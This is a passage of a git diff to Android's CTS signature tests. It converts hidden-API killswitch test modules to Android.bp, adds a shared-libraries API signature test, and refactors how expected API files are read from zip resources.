     <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
                      android:targetPackage="android.signature.cts.api.killswitch_debug_class"
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
index 837dde8..68c3e5c 100644
--- a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS Hidden API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHiddenApiKillswitchDebugClassTestCases.apk" />
diff --git a/tests/signature/api-check/hidden-api-killswitch-whitelist/Android.bp b/tests/signature/api-check/hidden-api-killswitch-whitelist/Android.bp
new file mode 100644
index 0000000..2c1e8f4
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-killswitch-whitelist/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsHiddenApiKillswitchWhitelistTestCases",
+    defaults: ["hiddenapi-killswitch-check-defaults"],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/hidden-api-killswitch-whitelist/Android.mk b/tests/signature/api-check/hidden-api-killswitch-whitelist/Android.mk
deleted file mode 100644
index 9364286..0000000
--- a/tests/signature/api-check/hidden-api-killswitch-whitelist/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiKillswitchWhitelistTestCases
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_MULTILIB := both
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker libclassdescriptors
-LOCAL_NDK_STL_VARIANT := c++_static
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-test
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidManifest.xml b/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidManifest.xml
index 5b023af..54f61f9 100644
--- a/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidManifest.xml
@@ -16,9 +16,12 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.killswitch_whitelist">
+          package="android.signature.cts.api.killswitch_whitelist"
+          android:targetSandboxVersion="2">
 
-    <application android:debuggable="true"/>
+    <application android:debuggable="true"
+                 android:extractNativeLibs="true"
+                 android:largeHeap="true"/>
 
     <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
                      android:targetPackage="android.signature.cts.api.killswitch_whitelist"
diff --git a/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml
index 720f16f..e25bb65 100644
--- a/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS Hidden API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <!-- Whitelist all APIs before running the test, then reset this afterwards. The test
              is intended to verify the behaviour when all APIs are whitelisted. -->
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.bp b/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.bp
new file mode 100644
index 0000000..785199e
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsHiddenApiKillswitchWildcardTestCases",
+    defaults: ["hiddenapi-killswitch-check-defaults"],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.mk b/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.mk
deleted file mode 100644
index 2274762..0000000
--- a/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiKillswitchWildcardTestCases
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_MULTILIB := both
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker libclassdescriptors
-LOCAL_NDK_STL_VARIANT := c++_static
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-test
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidManifest.xml b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidManifest.xml
index 68f3acf..3747831 100644
--- a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidManifest.xml
@@ -16,9 +16,12 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.killswitch_wildcard">
+          package="android.signature.cts.api.killswitch_wildcard"
+          android:targetSandboxVersion="2">
 
-    <application android:debuggable="true"/>
+    <application android:debuggable="true"
+                 android:extractNativeLibs="true"
+                 android:largeHeap="true"/>
 
     <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
                      android:targetPackage="android.signature.cts.api.killswitch_wildcard"
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
index bb726bb..0363684 100644
--- a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS Hidden API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <!-- Enable the killswitch before running the test, then disable it afterwards. The test
              is intended to verify the behaviour when the killswitch is enabled. -->
diff --git a/tests/signature/api-check/shared-libs-api/Android.mk b/tests/signature/api-check/shared-libs-api/Android.mk
new file mode 100644
index 0000000..d921e6b
--- /dev/null
+++ b/tests/signature/api-check/shared-libs-api/Android.mk
@@ -0,0 +1,75 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+all_shared_libs_modules :=
+
+$(foreach ver,$(call int_range_list,28,$(PLATFORM_SDK_VERSION)),\
+  $(foreach api_level,public system,\
+    $(foreach lib,$(filter-out android,$(filter-out %removed,$(filter-out incompatibilities,\
+      $(basename $(notdir $(wildcard $(HISTORICAL_SDK_VERSIONS_ROOT)/$(ver)/$(api_level)/api/*.txt)))))),\
+        $(eval all_shared_libs_modules += $(lib)-$(ver)-$(api_level).txt))))
+
+all_shared_libs_files := $(addprefix $(COMPATIBILITY_TESTCASES_OUT_cts)/,$(all_shared_libs_modules))
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-shared-libs-all.txt
+LOCAL_MODULE_STEM := shared-libs-all.txt.zip
+LOCAL_MODULE_CLASS := ETC
+LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
+include $(BUILD_SYSTEM)/base_rules.mk
+$(LOCAL_BUILT_MODULE): $(SOONG_ZIP)
+$(LOCAL_BUILT_MODULE): PRIVATE_SHARED_LIBS_FILES := $(all_shared_libs_files)
+$(LOCAL_BUILT_MODULE): $(all_shared_libs_files)
+	@echo "Zip API files $^ -> $@"
+	@mkdir -p $(dir $@)
+	$(hide) rm -f $@
+	$(hide) $(SOONG_ZIP) -o $@ -P out -C $(OUT_DIR) $(addprefix -f ,$(PRIVATE_SHARED_LIBS_FILES))
+
+all_shared_libs_zip_file := $(LOCAL_BUILT_MODULE)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MODULE := cts-api-signature-multilib-test
+
+LOCAL_SDK_VERSION := test_current
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+        cts-api-signature-test \
+        compatibility-device-util-axt
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
+
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSharedLibsApiSignatureTestCases
+
+LOCAL_JAVA_RESOURCE_FILES := $(all_shared_libs_zip_file)
+
+LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-multilib-test
+
+include $(LOCAL_PATH)/../build_signature_apk.mk
+
+LOCAL_JAVA_SDK_LIBRARIES :=
+all_shared_libs_files :=
+all_shared_libs_modules :=
+all_shared_libs_zip_file :=
diff --git a/tests/signature/api-check/shared-libs-api/AndroidManifest.xml b/tests/signature/api-check/shared-libs-api/AndroidManifest.xml
new file mode 100644
index 0000000..00ddd9a
--- /dev/null
+++ b/tests/signature/api-check/shared-libs-api/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.signature.cts.api.shared_libs"
+          android:targetSandboxVersion="2">
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+    <application android:extractNativeLibs="true" android:largeHeap="true">
+        <uses-library android:name="android.test.base" android:required="false"/>
+        <uses-library android:name="android.test.mock" android:required="false"/>
+        <uses-library android:name="android.test.runner" android:required="false"/>
+        <uses-library android:name="com.android.future.usb.accessory" android:required="false"/>
+        <uses-library android:name="com.android.location.provider" android:required="false"/>
+        <uses-library android:name="com.android.mediadrm.signer" android:required="false"/>
+        <uses-library android:name="com.android.media.remotedisplay" android:required="false"/>
+        <uses-library android:name="com.android.media.tv.remoteprovider" android:required="false"/>
+        <uses-library android:name="com.android.nfc_extras" android:required="false"/>
+        <uses-library android:name="javax.obex" android:required="false"/>
+        <uses-library android:name="org.apache.http.legacy" android:required="false"/>
+    </application>
+
+    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+                     android:targetPackage="android.signature.cts.api.shared_libs"
+                     android:label="Shared Libraries API Signature Muti Libs Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/shared-libs-api/AndroidTest.xml b/tests/signature/api-check/shared-libs-api/AndroidTest.xml
new file mode 100644
index 0000000..09a9168
--- /dev/null
+++ b/tests/signature/api-check/shared-libs-api/AndroidTest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Shared Libraries API Signature test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSharedLibsApiSignatureTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.signature.cts.api.shared_libs" />
+        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="class" value="android.signature.cts.api.SignatureMultiLibsTest" />
+        <option name="instrumentation-arg" key="expected-api-files" value="shared-libs-all.txt.zip" />
+        <option name="runtime-hint" value="30s" />
+    </test>
+</configuration>
diff --git a/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
new file mode 100644
index 0000000..5499119
--- /dev/null
+++ b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api;
+
+import android.signature.cts.ApiComplianceChecker;
+import android.signature.cts.ApiDocumentParser;
+import android.signature.cts.VirtualPath;
+import android.signature.cts.VirtualPath.LocalFilePath;
+import java.io.IOException;
+import java.util.Arrays;
+import java.util.stream.Stream;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
+/**
+ * Performs the signature multi-libs check via a JUnit test.
+ */
+public class SignatureMultiLibsTest extends SignatureTest {
+
+    private static final String TAG = SignatureMultiLibsTest.class.getSimpleName();
+
+    /**
+     * Tests that the device's API matches the expected set defined in xml.
+     * <p/>
+     * Will check the entire API, and then report the complete list of failures
+     */
+    public void testSignature() {
+        runWithTestResultObserver(mResultObserver -> {
+
+            ApiComplianceChecker complianceChecker =
+                    new ApiComplianceChecker(mResultObserver, classProvider);
+
+            ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
+
+            parseApiResourcesAsStream(apiDocumentParser, expectedApiFiles)
+                    .forEach(complianceChecker::checkSignatureCompliance);
+
+            // After done parsing all expected API files, perform any deferred checks.
+            complianceChecker.checkDeferred();
+        });
+    }
+
+    private Stream<String> getLibraries() {
+        try {
+            String result = runShellCommand(getInstrumentation(), "cmd package list libraries");
+            return Arrays.stream(result.split("\n")).map(line -> line.split(":")[1]);
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private boolean checkLibrary (String name) {
+        String libraryName = name.substring(name.lastIndexOf('/') + 1).split("-")[0];
+        return getLibraries().anyMatch(libraryName::equals);
+    }
+
+    @Override
+    protected Stream<VirtualPath> getZipEntryFiles(LocalFilePath path) throws IOException {
+        // Only return entries corresponding to shared libraries.
+        return super.getZipEntryFiles(path).filter(p -> checkLibrary(p.toString()));
+    }
+}
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
index 4e4ef80..7e8c6d6 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
@@ -21,45 +21,31 @@
 import android.signature.cts.ExcludingClassProvider;
 import android.signature.cts.FailureType;
 import android.signature.cts.JDiffClassDescription;
+import android.signature.cts.VirtualPath;
+import android.signature.cts.VirtualPath.LocalFilePath;
+import android.signature.cts.VirtualPath.ResourcePath;
+import android.util.Log;
 import java.io.File;
-import java.io.FileInputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.PrintWriter;
 import java.io.StringWriter;
-import java.util.HashSet;
-import java.util.Set;
+import java.nio.ByteBuffer;
+import java.nio.channels.FileChannel;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.StandardOpenOption;
+import java.util.EnumSet;
 import java.util.stream.Stream;
 import java.util.zip.ZipFile;
-import org.xmlpull.v1.XmlPullParserException;
 import repackaged.android.test.InstrumentationTestCase;
 import repackaged.android.test.InstrumentationTestRunner;
 
-import static android.signature.cts.CurrentApi.API_FILE_DIRECTORY;
-
 /**
  */
 public class AbstractApiTest extends InstrumentationTestCase {
 
-    /**
-     * A set of class names that are inaccessible for some reason.
-     */
-    private static final Set<String> KNOWN_INACCESSIBLE_CLASSES = new HashSet<>();
-
-    static {
-        // TODO(b/63383787) - These classes, which are nested annotations with @Retention(SOURCE)
-        // are removed from framework.dex for an as yet unknown reason.
-        KNOWN_INACCESSIBLE_CLASSES.add("android.content.pm.PackageManager.PermissionFlags");
-        KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.ProgramSelector.IdentifierType");
-        KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.ProgramSelector.ProgramType");
-        KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.RadioManager.Band");
-        KNOWN_INACCESSIBLE_CLASSES.add("android.os.UserManager.UserRestrictionSource");
-        KNOWN_INACCESSIBLE_CLASSES.add(
-                "android.service.persistentdata.PersistentDataBlockManager.FlashLockState");
-        KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.ProgramSelector.IdentifierType");
-        KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.ProgramSelector.ProgramType");
-        KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.RadioManager.Band");
-    }
+    private static final String TAG = "SignatureTest";
 
     private TestResultObserver mResultObserver;
 
@@ -80,9 +66,7 @@
         // not part of API though exist in the runtime.
         classProvider = new ExcludingClassProvider(
                 new BootClassPathClassesProvider(),
-                name -> KNOWN_INACCESSIBLE_CLASSES.contains(name)
-                        || (name != null && name.startsWith("com.android.internal.R.")));
-
+                name -> name != null && name.startsWith("com.android.internal.R."));
 
         initializeFromArgs(instrumentationArgs);
     }
@@ -91,11 +75,6 @@
 
     }
 
-    private static boolean isAccessibleClass(JDiffClassDescription classDescription) {
-        // Ignore classes that are known to be inaccessible.
-        return !KNOWN_INACCESSIBLE_CLASSES.contains(classDescription.getAbsoluteClassName());
-    }
-
     protected interface RunnableWithTestResultObserver {
         void run(TestResultObserver observer) throws Exception;
     }
@@ -131,37 +110,63 @@
         return argument.split(",");
     }
 
-    static Stream<InputStream> readFile(File file) {
+    private Stream<VirtualPath> readResource(String resourceName) {
         try {
-            if (file.getName().endsWith(".zip")) {
-                ZipFile zip = new ZipFile(file);
-                return zip.stream().map(entry -> {
-                    try {
-                        return zip.getInputStream(entry);
-                    } catch (IOException e) {
-                        throw new RuntimeException(e);
-                    }});
+            ResourcePath resourcePath =
+                    VirtualPath.get(getClass().getClassLoader(), resourceName);
+            if (resourceName.endsWith(".zip")) {
+                // Extract to a temporary file and read from there.
+                Path file = extractResourceToFile(resourceName, resourcePath.newInputStream());
+                return flattenPaths(VirtualPath.get(file.toString()));
             } else {
-                return Stream.of(new FileInputStream(file));
+                return Stream.of(resourcePath);
             }
         } catch (IOException e) {
             throw new RuntimeException(e);
         }
     }
 
-    static Stream<JDiffClassDescription> parseApiFilesAsStream(
-            ApiDocumentParser apiDocumentParser, String[] apiFiles)
-            throws XmlPullParserException, IOException {
-        return Stream.of(apiFiles)
-                .map(name -> new File(API_FILE_DIRECTORY + "/" + name))
-                .flatMap(file -> readFile(file))
-                .flatMap(stream -> {
-                    try {
-                        return apiDocumentParser.parseAsStream(stream)
-                              .filter(AbstractApiTest::isAccessibleClass);
-                    } catch (IOException | XmlPullParserException e) {
-                        throw new RuntimeException(e);
-                    }
-                });
+    Path extractResourceToFile(String resourceName, InputStream is) throws IOException {
+        Path tempDirectory = Files.createTempDirectory("signature");
+        Path file = tempDirectory.resolve(resourceName);
+        Log.i(TAG, "extractResourceToFile: extracting " + resourceName + " to " + file);
+        Files.copy(is, file);
+        is.close();
+        return file;
+    }
+
+    /**
+     * Given a path in the local file system (possibly of a zip file) flatten it into a stream of
+     * virtual paths.
+     */
+    private Stream<VirtualPath> flattenPaths(LocalFilePath path) {
+        try {
+            if (path.toString().endsWith(".zip")) {
+                return getZipEntryFiles(path);
+            } else {
+                return Stream.of(path);
+            }
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    Stream<JDiffClassDescription> parseApiResourcesAsStream(
+            ApiDocumentParser apiDocumentParser, String[] apiResources) {
+        return Stream.of(apiResources)
+                .flatMap(this::readResource)
+                .flatMap(apiDocumentParser::parseAsStream);
+    }
+
+    /**
+     * Get the zip entries that are files.
+     *
+     * @param path the path to the zip file.
+     * @return paths to zip entries
+     */
+    protected Stream<VirtualPath> getZipEntryFiles(LocalFilePath path) throws IOException {
+        @SuppressWarnings("resource")
+        ZipFile zip = new ZipFile(path.toFile());
+        return zip.stream().map(entry -> VirtualPath.get(zip, entry));
     }
 }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
index 17a5b78..4800851 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
@@ -16,9 +16,10 @@
 
 package android.signature.cts.api;
 
+import java.util.function.Predicate;
+
 import android.os.Bundle;
 import android.provider.Settings;
-import android.signature.cts.DexApiDocumentParser;
 import android.signature.cts.DexField;
 import android.signature.cts.DexMember;
 import android.signature.cts.DexMemberChecker;
@@ -42,8 +43,33 @@
           Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS);
     }
 
-    // Test shared by all the subclasses.
-    public void testKillswitchMechanism() {
+    // We have four methods to split up the load, keeping individual test runs small.
+    // Tests shared by all the subclasses.
+
+    private final static Predicate<DexMember> METHOD_FILTER =
+            dexMember -> (dexMember instanceof DexMethod);
+
+    private final static Predicate<DexMember> FIELD_FILTER =
+            dexMember -> (dexMember instanceof DexField);
+
+    public void testKillswitchMechanismMethodsThroughReflection() {
+        doTestKillswitchMechanism(METHOD_FILTER, /* reflection= */ true, /* jni= */ false);
+    }
+
+    public void testKillswitchMechanismMethodsThroughJni() {
+        doTestKillswitchMechanism(METHOD_FILTER, /* reflection= */ false, /* jni= */ true);
+    }
+
+    public void testKillswitchMechanismFieldsThroughReflection() {
+        doTestKillswitchMechanism(FIELD_FILTER, /* reflection= */ true, /* jni= */ false);
+    }
+
+    public void testKillswitchMechanismFieldsThroughJni() {
+        doTestKillswitchMechanism(FIELD_FILTER, /* reflection= */ false, /* jni= */ true);
+    }
+
+    private void doTestKillswitchMechanism(Predicate<DexMember> memberFilter, boolean reflection,
+            boolean jni) {
         runWithTestResultObserver(resultObserver -> {
             DexMemberChecker.Observer observer = new DexMemberChecker.Observer() {
                 @Override
@@ -108,9 +134,11 @@
 
             };
             classProvider.getAllClasses().forEach(klass -> {
-                classProvider.getAllMembers(klass).forEach(member -> {
-                    DexMemberChecker.checkSingleMember(member, observer);
-                });
+                classProvider.getAllMembers(klass)
+                        .filter(memberFilter)
+                        .forEach(member -> {
+                            DexMemberChecker.checkSingleMember(member, reflection, jni, observer);
+                        });
             });
         });
     }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/BootClassPathClassesProvider.java b/tests/signature/api-check/src/java/android/signature/cts/api/BootClassPathClassesProvider.java
index 61511c3..d1f019b 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/BootClassPathClassesProvider.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/BootClassPathClassesProvider.java
@@ -67,11 +67,11 @@
         String klass_desc = "L" + klass.getName().replace('.', '/') + ";";
         DexMember[] members = new DexMember[field_infos[0].length + method_infos[0].length];
         for (int i = 0; i < field_infos[0].length; i++) {
-            members[i] = new DexField(klass_desc, field_infos[0][i], field_infos[1][i]);
+            members[i] = new DexField(klass_desc, field_infos[0][i], field_infos[1][i], null);
         }
         for (int i = 0; i < method_infos[0].length; i++) {
             members[i + field_infos[0].length] =
-                new DexMethod(klass_desc, method_infos[0][i], method_infos[1][i]);
+                new DexMethod(klass_desc, method_infos[0][i], method_infos[1][i], null);
         }
         return Arrays.stream(members);
     }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
index ba8e8c5..32ab3e9 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
@@ -23,30 +23,30 @@
 import android.signature.cts.DexMemberChecker;
 import android.signature.cts.DexMethod;
 import android.signature.cts.FailureType;
-import android.signature.cts.ResultObserver;
+import android.signature.cts.VirtualPath;
 
-import java.io.File;
-import java.lang.reflect.Constructor;
-import java.lang.reflect.Field;
-import java.lang.reflect.Method;
-import java.util.Comparator;
-import java.util.List;
-import java.util.Set;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.nio.channels.FileChannel;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.StandardOpenOption;
+import java.util.EnumSet;
+import java.util.function.Predicate;
 import java.util.stream.Stream;
-import java.text.ParseException;
-
-import static android.signature.cts.CurrentApi.API_FILE_DIRECTORY;
 
 /**
  * Checks that it is not possible to access hidden APIs.
  */
 public class HiddenApiTest extends AbstractApiTest {
 
-    private String[] hiddenApiFiles;
+    private String[] hiddenapiFiles;
+    private String[] hiddenapiTestFlags;
 
     @Override
-    protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
-        hiddenApiFiles = getCommaSeparatedList(instrumentationArgs, "hidden-api-files");
+    protected void initializeFromArgs(Bundle instrumentationArgs) {
+        hiddenapiFiles = getCommaSeparatedList(instrumentationArgs, "hiddenapi-files");
+        hiddenapiTestFlags = getCommaSeparatedList(instrumentationArgs, "hiddenapi-test-flags");
     }
 
     @Override
